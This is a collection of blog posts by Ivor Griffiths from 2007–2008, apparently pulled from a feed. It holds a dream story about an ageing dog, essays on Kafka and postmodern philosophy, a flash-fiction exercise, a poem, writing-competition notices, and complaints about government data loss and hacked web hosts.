I think it’s one of the best parts of a dream, the thing that makes the story so real: the dream memories. As well as that of course the way in which, in a dream, I have no aches or pains, no worries, nor forms to fill in – urgently (on pain of government penalties too petty and expensive to dwell on). So, I remember past dreams in my dreams, which are based on times from my real time life outside my present dream. I do however prefer to dream without my knowing I’m in a dream, as sometimes is the case these days.

Edgar’s favourite mischief in his thirties (doggy years that is) was chasing horses. I didn’t encourage it of course, but distinctly remember, with some amusement, a time Edgar had been off the lead, scuttled under a gate, and gotten into a field with six or seven horses in it. He’d been trying to do this for weeks, but I’d always put him back on the lead before we got that far on our walk. The next thing I saw was Edgar chasing the horses round and round that field until he simply flopped to the ground exhausted, luckily he came to me as soon as I’d managed to whistle loud enough to attract his attention, and we swiftly departed; avoiding the Gloucester’s farm for a good few months after that.

Back in the dream, I looked down at Edgar’s greying face. His tongue was lolling out of his mouth and now he knew he had my attention he’d that half smile look on his face, the look of a weary granddad: he’d be only too willing to go down the slide again with the grandkids, if only he could catch his breath. I remembered from my dream memory how Edgar had followed me for mile after mile in the previous twelve years, through rain and hail, snow and frost, across grass and tarmac, concrete and sand. Without question or complaint, unconditionally loyal, like a second skin stuck tighter than a guardian angel, always hovering about ten or fifteen feet in front. Every now and then stopping, quickly peering over his shoulder, and then trotting off again guarding against any potential ambush by other dog’s humans.

In the way of dreams, films, and books the scene in this dream was changing, a transition, blurring like ink in water, and fading into nothing. Then reappearing – the bright grass of the plastic parkland becoming a busy freeway in Florida; there were palm trees growing down the middle of the street, then shops and lights appeared, cars, trucks, cabs, bikers and women. I remember the women, all young and beautiful, tanned skin as smooth as wet velvet, and smiles as shiny as the sun. Music and laughing was everywhere; it floated like a cloud of shimmering vapour around us. Edgar had decided to lie down by then, head cocked to one side, listening carefully and waiting on his master’s voice. At that moment I felt a tap on my arm.

“Excuse me”, said a man’s voice in a Texan drawl, “can you tell me how to get to Nevada sir?”

I turned around and there stood a cowboy wearing a hat that was multicoloured and shimmered, he had long legs clothed in two tone ska trousers, sharp creased, blue and red, like a melons smile when it’s sliced in the sun, at a music festival – bright but sharp.

Then I realised his face was Clifford’s, I hadn’t seen him for sixty two years, the last time I had been waving to him from the back seat of my step-dad’s old Ford Cortina as we began our journey up North to live in Glasgow. It was a Ford Cortina estate, navy blue, sixteen-hundred cubic centimetres of engine, it hit eighty miles an hour once, on the A5, while we were on a day trip to Brighton, I remember the crazed hammering my step-dad did on the dashboard, as he hunched over the steering wheel looking like a manic hunchback, foot jammed to the floor on the accelerator; he’d been convinced the speedometer was stuck and kept shouting as he battered the dashboard, “it’s eighty really! Its eighty really!” The whole car shook, and the roar of the wind drowned out even the screams of the over revved engine, mother and my two younger siblings.

Even though Clifford was now at least sixty-seven he looked no older than six, and he seemed to have shrunk, and his Stay-press trousers had turned into shorts. It was then I realised I was only six as well. I touched my head and felt an abundance of hair. I turned round and Edgar had gone, the noises, the girls, the tarmac and the car roar had been replaced by the bird song and leaf rustle of the woods, just outside of Carnforth, Lancashire, on the southernmost border of the Lake District, home of Wordsworth, Coleridge and Beatrix Potter. To be precise the Hyning Scout Woods, lair of old men killers and poachers, and the future planned burial site of my future last dog. I grabbed Clifford by the shoulders and asked him to dream me back to Florida.

“It was Orlando, I think,” I said.

Only inches from him, I’d tilted my head and was looking up into his face, the cowboy hat had blown off and become lodged in a dead tree, the wind blew Clifford’s blond hair about, it was shoulder length and curly, and his face was reddened, as if he’d been running and running for miles and miles.

“This way,” he said, “follow me.”

He turned abruptly and ran away from me through the woods; he was barefoot and wore the shorts he’d had on in Florida but no t-shirt. His blonde hair flowed back towards me as he ran. The forest floor was littered with leaves and pine needles, twigs, branches and rocks, and logs left by the tree-fellers. But I didn’t feel any of it, I ran after him faster than I’ve run for years, it seemed as if I were just above the ground, and the breeze caressed my face like a mother soothes her baby; the trees flashed past us in a blur of green and ochre shades. We dodged between them and jumped over fallen branches, which lay strewn across the earth like sculptures, carefully placed in a Roman church courtyard, of marbled green granite. Suddenly we swung into the branches, soaring up into the leaf canopy. Leaving the forest floor we chased the grey squirrels and startled sleeping owls. It seemed only natural that we‘d bump into Lorraine and Jane, from Green Lane School. Giggling hysterically and holding hands we’d flown together again; we reminisced and shared recollections of our dream memories: a gang of four innocents flying in a communal dream through trees and memories of pure sentimentality. I felt happier than I‘d felt for years, young, healthy and flying again, like I used to in my old dreams, with my old friends.

But then we neared the edge of the forest and the sun creased the trees, driving a spike of dazzling white light down through the branches to the leafy earth. And there he was: Edgar. He was lying on his side. I saw him from the top of the tree we’d been playing in, he looked like he was sleeping in a spotlight’s circle, but of sunlight. He looked warm and relaxed; but he wasn’t breathing. I wanted to keep flying, to laugh and play with my friends. At that moment I hated Edgar for spoiling my dream, for making me know it was a dream, and blurring the colours to shades of grey and white, for making my friends disappear, for melting the trees and earth away. I tried to fly but the earth dragged me down, and in slow motion I fell.

I awoke with a jolt and opened my eyes a slit, the brightness of the curtains almost blinding me. The aches and pains in my hands and hip hadn’t surfaced yet, but they would, as sure as polystyrene floats, the pain would gouge through my synapses and skewer my brain. I saw the brightness of the room, I heard Edgar snoring and felt guilty, but then rolled over and shut my eyes, day dreaming about being a kid again.

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Short Stories, Franz Kafka, ‘In the Penal Settlement’, and ‘The Giant Mole’ Fri, 15 Feb 2008 21:32:35 +0000 Ivor Griffiths In the Penal Settlement is the first in the series of stories in this collection that considers more than one character in any depth. The explorer, the officer, the soldier and the condemned all undergo a transformation as the story unfolds; told in third person, limited to the explorer, the story evolves as the penal settlement is about to abandon use of “a remarkable piece of apparatus.” (p.169). The apparatus is used to kill the condemned: those who have been sentenced to death arbitrarily, without recourse to due process. The punishment of death suffered by those guilty of even the most minor of infractions.

The condemned and the officer swap places, bizarrely the officer dies on the apparatus, we are shown the grave of the old commandant, and witness the explorer fleeing the island in fear of his life, after having watched the officer kill himself on the apparatus. The explorer does however succeed in his mission of helping to repeal the death penalty. The parallels in this story with themes explored in The Burrow could be said to be the idea of confinement, living in the burrow in fear, and both the burrower and the condemned coping with death as an everyday occurrence.

In juxtaposition to the morose and lurid tone of In the Penal Settlement, The Giant Mole is a humorous tale concerning the alleged sighting of a giant mole, said to be three feet in length. A paper is written about the sighting by an old teacher. One of this teacher’s pupils, and the narrator of the story, produces a pamphlet concerning the same giant mole; this causes tension between the teacher and former pupil. In this story Kafka considers the binaries of the serious and the absurd, age against youth, and city against country in order to highlight the contrast between recorded history and parochial anecdotes.

The link between The Giant Mole and The Burrow is obvious, in that the unknown predator, like a giant mole, lives underground. However, the voice of The Giant Mole is both witty and, at times, sarcastic. The narrator’s observations and cool analysis of the elderly, as he sees them, is particularly cutting:

“Most old people have something deceitful, something perfidious, in their dealing with people younger than themselves; you live at peace with them, imagine you are on the best of terms with them, know their ruling prejudices receive continual assurances of amity, take the whole thing for granted; and when something decisive happens and those peaceful relations, so long nourished, should come into effective operation, suddenly these old people rise before you like strangers, show that they have deeper and stronger convictions, and now for the first time literally unfurl their banner, and with terror you read upon it the new decree. The reason for this terror lies chiefly in the fact that what the old say now is really far more just and sensible than what they said before; it is as if even the self-evident had degrees of validity, and their words now were more self-evident than ever. But the final deceit that lies in their words is this, that at bottom they have always said what they are saying now.” (p. 212)

This acidic observation, made from the perspective of the dismissive younger man, consists of just two sentences. This sentence length and the almost wordy descriptive detail is typical of the style of prose in this collection of stories. The ideas explored in The Giant Mole, concerning the reliability of memory and the recording of events, have a postmodern feel to them. The “unpardonable confusion of identity” (p. 210) is a precursor to the simulacrum considered in postmodern works by Auster, Swift, Morrison et al. There is a consideration of the reliability of written records and the way in which they can be manipulated by the withdrawal of competing ideas. The narrator, in his pamphlet,

“had expressly declared that the teacher must stand for all time as the discoverer of the mole – and he was not even that – and that only my sympathy with his unfortunate fate had spurred me on to write.” (p. 207 ).

Here we see ideas concerning the reliability and accuracy of history; postmodern ideas concerning the reliability of the grand narratives of history, like those considered many year later by Kurt Vonnegut, in Slaughterhouse 5, for example, in the context of the fire-bombing of Dresden.

The style of Paul Auster in voice and narrative is reminiscent of Kafka. The absurdity of The Giant Mole is a device used by Auster in texts such as The Music of Chance (building a wall) and Mr. Vertigo (in which a boy can fly). The ideas explored by Heidegger, who likened human existence to “being found”, are also considered by Kafka, most obviously in Metamorphosis and Investigations of a Dog. Likewise Paul Auster in Tales from The Scriptorium uses the device of a man finding himself in an environment of which he has no immediate memory.

The common thread is that the reasons for the characters finding themselves in their current surroundings are unclear. Thereafter the affect that his has on the subjects is studied in minute detail. Both Kafka and Auster describe their characters’ motivations and observations in such fine detail as to cause the reader to empathise with how those characters must feel. Using this evocative technique Kafka is able to garner sympathy from the reader for a giant insect in Metamorphosis. Both styles involve a carefully crafted use of language; the sentences are long, involute but not tautologous. There is occasional reference back to what has been said; themes are revisited. Of course Auster is most concerned with the loss of identity suffered by the simulacrum that people his novels; Kafka is not concerned with identity in this collection so much as environment, isolation, and, to a lesser extent, the effect of cities and crowds on individuality. Of course Auster echoes these themes in works such as Moon Palace, in which the main character ends up sleeping rough in Central Park and losing his identity as well as his grasp of reality; similarly in City of Glass, in which the detective, Daniel Quinn (who may be the hero of Tales from the Scriptorium), ends up sleeping in an alley for months keeping watch on an empty apartment. During his self-imposed exile he is transformed completely, loses his home, his money, and his identity; eventually Quinn disappears into the city, merging with it.

In this collection Franz Kafka is exploring the binaries of mind and body and the relationships between the two. He also considers the nature of language in the labyrinth of The Burrow. He considers human relationships, and in particular isolation, rejection and loneliness. He also examines our attitudes towards suffering, illness, old age and death. The prose is precise yet verbose, finely chiselled each word is as if carved with precision and care. As if written from the viewpoint of a survivor who has been rescued; years later to tell his tale, embellished with minute detail and careful characterisation. Of all the stories, for me at least, The Giant Mole is the funniest; Investigations of a Dog the most challenging; Metamorphosis the most emotive.

Kafka, F (1961) Metamorphosis and Other Stories, Penguin Modern Classics: London

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I think I’m thinking. Therefore, I think I’m here. Thu, 14 Feb 2008 21:33:50 +0000 Ivor Griffiths This idea finds its origin in the writing of Descartes. Rene Descartes’ Discourse on the Method of Rightly conducting Reason and reaching the Truth in the Sciences is a Philosophical work that contains, in part four, his most famous statement, “I think therefore I am.”


Descartes is considered to be one of the main architects of the modern age.  He is remembered most for a comprehensive physico-mathematical reductionism: everything could be described by reference to size, shape and motion. Secondly for the idea that the mind lay outside the purview of physics and can only be understood from within, through introspective self-conscious reflection.

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The Burrow and Investigations of a Dog, Short Stories by Franz Kafka Thu, 14 Feb 2008 20:28:58 +0000 Ivor Griffiths Kafka continues the anthropomorphic metaphor to consider the life of a solitary mammalian predator; a predator that is large enough to consider a rat easy pray. The character begins to describe, from the first person point of view, his life. He paints a finely detailed picture of underground dwelling, the voice of the narrator is content and self congratulatory as we are given a guided tour of his fine burrow. He has so much food he needs to make additional room for it all.

Once the construction work is complete the burrower leaves the burrow. When preparing to return he considers the danger attendant upon entering his burrow alone. Eventually, after keeping the burrow under surveillance, and digging another entrance, he returns to the burrow. He seems contented.

The solitary nature of his existence may or may not be natural for the species under consideration, we are not told; neither are we told why, if it is not natural, he would choose isolation. Certainly there is no contact with any other members of his species in the text. The story is partly a detailed study of the affect isolation has upon the psyche of the first person narrator. As he becomes aware of “small fry” burrowing and making a noise near the “Castle Keep” he begins to exhibit signs of paranoia. His burrow becomes increasingly untidy as he digs experimental trenches as a means of finding the noisome intruders. This noise could, of course, be imagined by the narrator. The narrator himself concedes that the noise could be emanating from a water pipe. Later on he believes the noise has grown louder, he comes to believe that the creature or creatures making the noise must be powerful, and eventually thinks he may die fighting to protect his burrow. He even stops eating for a time.

In both this story and Investigations of a Dog Kafka ends the piece with a contemplative solitary animal considering their environment.

Dog says, in Investigations of a Dog, that he “…prize[s] freedom higher than anything else.” (Kafka, 1961, p. 126). In The Burrow what initially is shown to be a place of peace and sanctuary becomes a place of fear. A place that is watched and listened to by unknown intruders. In this place the main character becomes obsessed with noises that had not registered previously. In the same way that the dog is distorted physically by his desire to fast so too is the burrower. However it is his mind that is affected. We are not told the reason for the self imposed underground exile – and it it reasonable to believe that the main character can live outside at times because he does so on occasions in the text – but its consequence is to make him belive that he is being pursued by “a beast”. He continues to dig his trenches quietly, does not leave the burrow and listens for the beast. As the main character says in the last line of the text, “But all remains unchanged.” (Kafka, 1961, p. 166).

Both stories could be seen as studies of the extremes of individuality and the psychological and physiological consequences of isolation from the crowd. Both characters seek freedom. The dog seeks knowledge and understanding empirically, and consequently is continually disappointed; the burrower seeks perfect isolation, only to find a form of imprisonment and surveillance by an unknown beast.

Kafka, F (1961) Metamorphosis and Other Stories, Penguin Modern Classics: London

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Franz Kafka Metamorphosis, Raymond Chandler The Big Sleep, Toni Morrison et al. Thu, 14 Feb 2008 10:37:19 +0000 Ivor Griffiths Franz Kafka’s Metamorphosis and Other Stories, Raymond Chandler’s The Big Sleep, Toni Morrison’s Tar Baby, Song of Solomon, and Paradise are the books I have been reading since my last post. I have enthusiastically taken on board Ray Bradbury’s advice that one must read to write. I love to read so much that the writing is constantly being postponed. I now hope to resume writing. This coincides with some LAMP development I ‘m involved in. It’s always the same.

I also read Sol Stein’s Solutions for Novelists and the excellent How to Write A Damn Good Novel II by Jame N. Frey. These two books are both beautifully written, inspiring, and motivational. James N. Frey’s text is especially lucid, for me in any event, he gets straight to the point and offers useful practical advice for the blocked (loafing?) writer.

Kafka is an interesting chap, born in Prague he wrote in German and we read the translations. The stories are good in the volume I have been reading. Metamorphosis is a story I had heard of but never previously read. I must say thet the characterisation that Kafka manages is amazing and the gentle rise in tension and unexpected ending made for a challenging read. On first impression it struck me as a study in difference, but then I extended this idea to reluctant or forced individualitiness, which in turn reminded me of the idea of “being found”, as an analogy for existence,  considered by Heidegger. In this story the family, for whom Gregor had cared selflessly, gradually turn on him after his transformation. The individual is the transformed Gregor, also favoured by Jean Paul Satre over the “herd”, is shown to be weak in the face of the established order of the family; “the chief”, Gregor’s unforgiving boss, is a metaphor for authority that intrudes suspiciously while remaining essentially unknown. The idea of an unknown and vague organisation whose authority is recognized by the populace without question is further considered in The Great Wall of China. This story follows on from Metamorphosis and is in turn followed by Investigations of a Dog. For me Investigations of a Dog is the strongest story in the collection; the idea of starvation in the face of a nameless crowd is echoed in Paul Auster’s City of Glass.

The ideas considered by Kafka in this collection, influenced as they are by Existentialism, are further developed in the ideas of Post Modernism. Science, especially in Investigations of Dog, and it’s Philosophical parent Empiricism, is sceptically analysed from the point of view of the dog when he hilariously considers the origins of food. 

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Literary Agent UK Thu, 13 Dec 2007 22:54:06 +0000 Ivor Griffiths This seems like an agency worth a shot. At least there is no reading fee.

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Short Story Competition Thu, 13 Dec 2007 22:50:04 +0000 Ivor Griffiths Short Story Competition 

Entry Fee: £10 per story

Status: Unpublished

Word Count: Maximum 2500 words 

Deadline: Midnight on Monday 14th January 2008 

Prizes: £2,500, £1,000 & £500 plus publication

UK Poet

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Novel Competition Thu, 13 Dec 2007 22:48:25 +0000 Ivor Griffiths Friday 29th February 2008 is the deadline for our Novel Competition which will be held once every four years

2 years to complete it, editorial support, 150 copies, ISBN number. £20.oo entry fee.

Ivor Griffiths Blog Poet UK

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Managing Thu, 13 Dec 2007 20:36:52 +0000 Ivor Griffiths Managing

The copers manage the damaged –
by hand, deftly;
coping and hoping it won’t rain,

not today anyway,

me cat’s being buried today he is:
got squashed by a car.
We pried him loose from the wheel arch
with a pointy stick. His eye fell out,
a black hole, a purpled star, like it was cauterized.

I cried when my cat died.
I did.

Ivor Griffiths 2007

Blog Poet UK

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McCanns Refuse Lie Detector Test Wed, 05 Dec 2007 23:05:58 +0000 Ivor Griffiths I suggested that they do this some time ago. What better way to clear one’s name? Of course I am not suggesting they are guilty or that they are anything but distraught parents innocent of any wrong doing. To do otherwise would result in litigation. The treatment of them is in marked contrast to the alleged insurance fraud involving that chap who disappeared five years ago and mysteriously reappeared after the life insurance was claimed. The Police seemed pretty keen on that one.

Of course Lie Detector tests are only 98% accurate and not admissable in Portuguese or English Courts. This is the alleged reason for their refusal. They are of course determinative in the Court of Public Opinion. Like the UK Government are fond of saying:

“If you have nothing to hide you have nothing to fear.”

Explains the Official Secrets Act then. I wonder if they have found the data they lost that belongs to 25,000,000 people: bank details, addresses, dates of birth, mothers’ maiden names: everything you need to steal money.

We got a letter from them about that. It said that if one is an “innocent victim of bank fraud” one will be reimbursed. But what exactly is an “innocent victim” then? By implication there must be “guilty victims”. I can imagine the pain that will be endured by anyone trying to make a claim. The same letter advised against changing banks. This means they won’t pay and you should change banks.

So if you live in the UK and you have had any dealings with the Inland Revenue change your bank, cancel your cards, change your passwords and then your name. Once you’ve done that write a letter of claim to them for the hassle. You will get a standard letter back that says in three hundred words what they could have said in one: tough.

 Are they to blame? No, they never do anything wrong.

Will someone get the bullet? No, they never do.

Is our personal data secure in the UK with HMG? No.

Will they lose our medical records next? Yes.

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Back at last Wed, 05 Dec 2007 22:54:17 +0000 Ivor Griffiths I made the mistake of hosting with Dotster. Their servers got hacked by phishers and they couldn’t get it working again. Had to call in outside help. After three weeks offline the best they could do was tarball up my sites and databases. Even this was done reluctantly as they did not want to admit the hack.

To make matters worse UKReg and Fasthosts have been effectively shut down by hackers. 100,000 UK websites offline since Thursday 29th November. They reset all the passwords without telling anyone. This meant everything failed: Sites, email, DNS, Databases, control panel – the lot. I can’t get on even now to change DNS and make glue records.  I rang the premium rate number and there were 51 people ahead of me in the queue.

The thing that is worrying is that Fashosts called in the Police to try and resolve it and they still got shutdown. Of course being hacked may not be their fault, but reseting passwords and posting them out (I still haven’t got mine) is sheer idiocy. Of course some would say this was just an excuse, delaying tactics even, or a ruse to generate premium rate ‘phone numbers.

Either way as soon as I get back in I will be transferring everything out.

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Philosophical Theories: Existential or Postmodern? Sun, 04 Nov 2007 19:15:18 +0000 Ivor Griffiths Existentialism argues against the idea that the only reality we can be certain of is our own consciousness. Existentialism asserts that as conscious beings humans will always find themselves in a world with a prior context and history. This is received by the consciousness: humans cannot think away that world, it is inextricably linked to consciousness. Only this reality can we be sure off: “I think therefore I am”.

Reality is not being “thought conscious” according to Heidegger, it is “being in the world”. This idea radicalizes Brentano and Husserl’s notion of intentionality, which asserts: Even in its barest form, all consciousness is a consciousness of something.

Empiricism argues truth or knowledge are capable of measurement and proof, Pythagoras and Aristotle began the idea. This led to a philosophy of science, an empirical discipline dependant upon proof: mathematics uses logic to prove a truth.

Rationalism is a theory “in which the criterion of truth is not sensory but intellectual and deductive” (Bourke 263). Bourke, Vernon J. (1962), “Rationalism”, p. 263 in Runes (1962).
Absurdism is a philosophy stating that the efforts of humanity to find meaning in the universe will ultimately fail (and, hence, are absurd) because no such meaning exists, at least in relation to humanity. The word Absurd in this context does not mean “logically impossible”, but rather “humanly impossible”. A literary consideration of Absurdism is to be found in Paul Aster’s The Music of Chance.

Nihilism (from the Latin nihil, “nothing”) is a philosophical position, sometimes called an anti-philosophy, which argues that the world, especially past and current human existence, is without objective meaning, purpose, comprehensible truth, or essential value. Nihilism was rejected by Nietzsche, author of The Antichrist and Superman.
Nihilists generally assert one or all of the following:
• There is no reasonable proof of the existence of a creator.
• “True morality” does not exist.
• Secular ethics are impossible.

For Nihilists life has no truth, no action can be preferable to any other.
Being called nihilistic is now considered by some a pejorative term.

Postmodern thought is coloured by the perception of a degeneration of systems of epistemology and ethics into extreme relativism, something especially evident in the writings of Jean-François Lyotard and Jacques Derrida. These philosophers deny the grounds on which Western cultures base their ‘truths’: absolute knowledge and meaning, a ‘decentralization’ of authorship, the accumulation of positive knowledge, historical progress, and the ideals of humanism and The Enlightenment. Often described as a fundamentally nihilistic philosophy, nihilism is open to postmodern criticism: nihilism claims a universal truth: the proposition “existence lacks meaning” is true. Postmodernism rejects this idea.

Lyotard argues that rather than relying on an objective truth, or method, to prove their claims, philosophers legitimize their truths by reference to a story about the world which is inseparable from the age and system the stories belong to, referred to by Lyotard as meta-narratives. He defines the postmodern condition as one characterized by a rejection of meta-narratives and the process of legitimation by meta-narratives. Examples of meta-narratives are The Bible, The Koran, Mao’s Red Book.

Lyotard says,

“In lieu of meta-narratives we have created new language-games in order to legitimize our claims which rely on changing relationships and mutable truths, none of which is privileged over the other to speak to ultimate truth.”

The proposition that there is no stability of truth and meaning leads, for some, towards nihilism, though Lyotard does not endorse Nihilism.

Jean Baudrillard, a postmodern theorist wrote briefly of nihilism from the postmodern viewpoint in Simulacra and Simulation. He stuck mainly to topics of interpretations of the real world over the simulations that the real world is composed of.

Meaning is an important aspect of Baudrillard’s consideration of nihilism:

“The apocalypse is finished, today it is the precession of the neutral, of forms of the neutral and of indifference…all that remains, is the fascination for desert like and indifferent forms, for the very operation of the system that annihilates us. Now, fascination (in contrast to seduction, which was attached to appearances, and to dialectical reason, which was attached to meaning) is a nihilistic passion par excellence, it is the passion proper to the mode of disappearance. We are fascinated by all forms of disappearance, of our disappearance. Melancholic and fascinated, such is our general situation in an era of involuntary transparency.”

– Jean Baudrillard, Simulacra and Simulation, “On Nihilism”, trans. 1995

Postmodernism envisages a blurring of reality and fiction, a scepticism of accepted history, a rejection of grand narratives as a basis for reality. The blurring of reality and fiction leads to a blurring and eventual loss of identity. These issues are considered in texts such as Paul Auster’s City of Glass, Moon Palace, and Tales from The Scriptorium. Films such as Blade Runner and The Departed consider issues of reality, perception and a fragmenting of identity.

Such texts often use meta-fictional devices. These are especially evident in Moon Palace and City of Glass.

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Flash Fiction and Narrative Prose Poetry Writing Exercise Sun, 04 Nov 2007 17:44:52 +0000 Ivor Griffiths Flash Fiction Techniques

This writing exercise will help you create flash fiction, scenes or narrative prose poetry. As with all writing exercises take from it that which helps and discard the rest. If you work through the process as is the first time I think you’ll be pleased with the result.

Create a Setting: Write down eight places in a spider diagram – the setting – it can be metaphorical.
Create Emotion: Write down eight emotions in a spider diagram – this is how the character feels.
Create Perspective: Write down eight animals in a spider diagram – this is the character’s perspective or viewpoint.

Pick one from each spider diagram.
For our purposes we will use: “jungle”, “miserable”, “elephant”.

This is the last line, the Resolution. Remember in any story or scene there is a Setting, a protagonist/antagonist who encounters a Conflict which Changes him or her and the Change provides the Resolution. So the story ends with a character who has the perspective of an elephant (interpreted by you later) in a jungle. The jungle could be physical or emotional, the jungle becomes a metaphor – wild, hot, steamy etc.

Now you have the last line: POINT B.

The beginning of the story, POINT A, involves a hero or protagonist who feels differently from the emotion expressed in the last line. So in the example the hero, who has yet to be defined, is not miserable, note this is not a binary opposite but an alternative. Of course a binary opposite may be the same as not feeling the emotion expressed.

The hero is in a yet to be defined Initial Setting.

At this point create the Hero or Protaganist:

Who is he or she? Someone with the perspective of an elephant. Write down further ideas in complete sentences, allow sixty seconds.

How is he feeling initially he is not miserable. Why? Write down further ideas in complete sentences, write them fast. Allow sixty seconds.

Where is he or she at the end of the story? In a jungle, feeling miserable, with the perspective of an elephant.

The next step involves SPANNING THE VOID between the beginning of the story and the Resolution.

The story needs an Initial Setting. Create a list of eight settings in sixty seconds; write the first things that come into your head. Choose one: for example “dentist.”

Then do the same, allowing sixty seconds with the following:

Smell – write a list of eight smells or objects that smell.
We will use orange as a smell.

Sound – write a list of eight sounds.
We will use a jack hammer’s sound.

Object – write down a list of eight things.
We will use a wedding ring.

Write a list of eight Preoccupations of the main character or hero.
We will have the protagonist worrying about the phone bill.

Select one from each list and circle it. You will include each one in your story.

We now have an A-to-B structure as well as sensory perceptions, tangible objects and a preoccupation of the antagonist.

The story can now be seen as:

POINT A: Our Hero, who has the perspective of an elephant is at the dentist not feeling miserable. He is preoccupied with his phone bill. Located in your Initial Setting.


Conflict => Change => Resolution

(orange scent, a ring and a sound like a jack hammer will all feature in the story).

POINT B: The Hero ends up in the jungle feeling miserable from the perspective of an elephant. He may or may not be preoccupied with the phone bill.

The next step in the process is to create prompts that will allow us to write a spontaneous rough draft in fifteen minutes.

Begin by quickly reviewing the sentences you’ve written in answering the questions where? why? how? who? answered above. Allow a couple of minutes at most.

Then consider why he or she is at POINT A. Your aim is to create a story line that will take your Hero all the way from POINT A down through a Conflict to POINT B at which time he or she has undergone a Change that provides Resolution.

Note down ideas as to the Hero’s personality (job, marital status, sexual orientation etc ) and consider why he or she is at POINT A in the dentist.

For the example Jack is a refuse collector working for the Town Council, he is married and has been ten years, he is faithful and loves his wife. He finds her unattractive sexually. He loves his kids but the oldest is a handful. He is an old father and his wife is much younger than him. He likes a beer or two, football (soccer) and pool. He is a worrier and a pessimist. He has had toothache for days and had to go to the dentist.

The Initial Setting (his office, the street, his home etc) provides the scenery within which the Conflict and Tension is developed. Note down ideas detailing an incident that provides Conflict and impetus for Change, (loses job, falls in love, reads an interesting advertisement) within your Initial Setting.

Conflict can be internal to the character or external. It could be caused by events, a chance happening, meeting a stranger and so on. Conflict may be enhanced by suspense, which if used, is introduced at POINT A and released at POINT B. Of course Suspense may not fit with your story in which case don’t worry about it. By asking yourself these questions: why? where ? how? who?

This process sets up a creative tension between POINT A, the initial situation, and POINT B, the final scene. If you use a mind mapping technique, like this one, and use bubble/spider diagrams your mind will search for the Conflict that arises and taken the Hero from POINT A to POINT B and made him or her SPAN THE VOID.

Once you have developed the setting, situation and character write a complete story. Do not be precise in grammar, spelling or punctuation. Just keep writing for fifteen minutes, if you get stuck write anything, if really stuck actually write “anything”. Use the sound, object, preoccupation and smell you selected earlier in the story. After fifteen minutes you will have a story based on the structure created that takes you from A-to-B

The next step is to edit it ruthlessly. Aim to create tightly written prose that leaves nothing out of the story you have written already. Cut it down to two hundred words maximum, or less if you can. Feel free to rewrite any of it, change or remove anything. You may find new images or objects popping into your head, better phrases, a new twist.; whatever it is use it. But remember to stay within the structure: A-to-B. Of course the whole thing may change. Just remember the elements of any story are: character, setting, conflict causing a change to the character which leads to a resolution. The story is heightened by sensory references like smell and sound as well as touch. If you complete all stages:

1. Brainstorming the beginning and end of the story

2. Create Conflict from the creative tension caused and SPAN THE VOID.

3. Create a rough draft of four or five hundred words.

4. Create a finished piece, tightly written of two hundred words or less.

You will now have a finished manuscript of 200 words or less. It will encapsulate all the elements of a traditional story line, You will have a Hero in a Setting in which he comes across a Conflict. By resolving the Conflict he will have undergone a Change. Now all you need to do is submit it.

This writing exercise is inspired in part by the article Writing Flash Fiction with Bubble Diagrams accessed 4th November 2007

The First Draft using the abovbe prompts came out at 993 words. The end product of 200:

Taking Out The Trash

Jack sat, hands clasped beneath plastic, a reluctant birthday boy of fifty-one. Toothache made almost everything annoying. The dumpy middle-aged dentist leaned forward on tiptoe, peering inside Jack’s mouth, aiming a needle.

Jack heard a jackhammer.

“Sorry,” said the dentist, turning away, “phone.”

“Yes,” Jack’s Mother once told Joan, “not the sharpest chisel in the box but reliable as an old shoe. Rather wear comfy slippers than patent leather any day.”

Jack anticipated Joan’s present, a helicopter lesson, with all the enthusiasm of a kid waiting for Christmas.

“Sorry, you’ll need another appointment.”
The dentist gestured at the nurse, pirouetted on squeaky shoes and left.

“I’ll check with reception,” she said, following him.

Jack saw the syringe and picked it up gingerly. He probed his gum, pin pointed the pain and injected. It felt like a heavy hole. He glanced at the door. Grabbing some pliers he clamped the tooth, pulled down and lifted his head. A sickly smell followed a satisfying squelch.

The helicopter soared like a helter-skelter; dived like a swift.

Jack excelled at hovering.

He’d go back tomorrow, get the right tooth out, pay the phone bill and buy Joan some flowers.


Let me know what you think!

]]> 4 Tue, 30 Oct 2007 21:23:06 +0000 Ivor Griffiths SMOKELONG QUARTERLY’s 2008 Kathy Fish Fellowship
Fellowship Information:

The Fish Fellowship is sponsored by SmokeLong Quarterly
(, an online publication devoted to flash fiction that
has published for four and a half years. In the spirit of previous Fiction
Editor Kathy Fish, SmokeLong established the fellowship to foster new and
emerging writers. The award is open to any writer previously unpublished by
SmokeLong. The winner of the Fellowship will receive $500 over the course of
2008, will be published in each of 2008′s four issues, and will receive
feedback throughout the year on their writing from the staff of SmokeLong.
There is no entry fee.

1. Applications should be emailed to
2. Applications should include five samples of your flash fiction (stories
of a thousand words or less). These samples may be unpublished or previously
published in venues other than SmokeLong. We’ll be reading these to get
impressions of each applicant’s writing. The writing samples should, as a
whole, best reflect your ability, style(s), etc. Show us who you are as a
writer through these samples.
3. Applications should include a few paragraphs (under a thousand words
total) about what you hope to accomplish in the next year with your flash
writing. Are there specific elements you want to improve? A larger story you
want to tell through a series of flashes? Help us learn how we can help you
realize your goals should you win this award.
4. Samples and paragraphs about goals, etc. should be included in the body
of the email, rather than as attachments.
5. There is no application fee.
6. Application deadline is December 15, 2007.

UK Poet

19th Féile Filíochta International Poetry CompetitionThe Féile Filíochta, a Dún Laoghaire-Rathdown County Council Libraries event is a stepping stone for emerging poets.

With €25,000 in prize money and a 1st prize of €5,000.

Free Entry! Closing Date 9.11.07

UK Poet

William Trevor Short Story Competition

Download Entry Form

1st Prize
The Cork County Council Library and Arts Services Prize, €2,500 Cash.
A Laptop computer sponsored by the The Mousepad, Mitchelstown.

Runners up
Five cash prizes of € 200.00 each.

William Trevor

Entry Fee
€ 20.00 with each entry submitted.

Closing Date
Friday 30th November 2007

Entries by post only to:

William Trevor Short Story Competition,
37 Upper Cork Street,
County Cork,

Download Entry Form


1. Entries should contain a maximum of 3,000 words.
2. Entries must be in the English Language.
3. An entry fee of € 20.00 must be included with each individual entry. Bank Drafts only should be made payable to William Trevor Short Story Competition.
4. Entries must not have been previously published.
5. Entries should not contain any indication of the writer’s identity on the competition entry: please use the official entry form that can be downloaded from this website.
6. Entries must be typed using double spacing and submitted in duplicate.
7. An unlimited number of entries may be submitted for this competition provided the requisite entry fee accompanies each entry.
8. Entries will not be returned.
9. Awards will only be made where a satisfactory standard is achieved.
10. No correspondence will be entered into regarding entries.
11. The Adjudicator’s decision will be final.
12. Winners only will be notified.
13. The 6 finalists will be notified by letter/email on or before 30th April 2008.
14. The prizes will be presented at a ceremony, in Mitchelstown, on Saturday 24th May 2008.
15. The names of the winner and runners up will be posted to the competition website when they become available.
